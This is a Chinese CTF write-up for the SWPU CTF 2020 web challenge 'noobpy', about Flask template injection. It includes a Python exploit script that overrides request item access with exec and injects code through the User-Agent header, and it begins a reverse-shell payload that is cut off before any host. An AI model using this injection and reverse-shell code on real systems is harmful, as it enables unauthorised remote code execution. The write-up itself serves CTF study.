

noobpy

发表于 2021-03-05 分类于 [Challenge](#), [2020](#), [SWPU CTF 2020](#), [Web Challenge](#) | [2020](#) | [SWPU CTF 2020](#) | [Web](#) | [noobpy](#)

[点击此处](#) 获得更好的阅读体验

WriteUp来源

[官方WP](#)

题目考点

- Flask模板注入

解题思路

发现

□

内存在命令注入

或者尝试报错也能发现。

□

将request的[]重载为exec实现命令执行，并且用UA头来注入

反弹shell拿到flag

Exp:

```
1 import requests
2
3 url = "http://192.168.31.51:6061/Equ.php"
4 s = requests.Session()
5 def exp(poc1,poc2):
6     data = {
7         "left":poc1+"1",
8         "right": "1"
9     }
10    header = {
11        "User-Agent":poc2
12    }
13    req = s.post(url,data=data,headers=header)
14    print req.text
15 #exp('__builtins__._eval__=__builtins__.exec#',"xxx")
16 exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];","import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);;
```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2020/SWPU-CTF-2020/Web/hs72bLvcWZq1Z8FU9d3CaQ.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议. 转载请注明出处!

[#Challenge](#) #2020 #Web #SWPU CTF 2020

[太极](#)

[sqlsqli](#)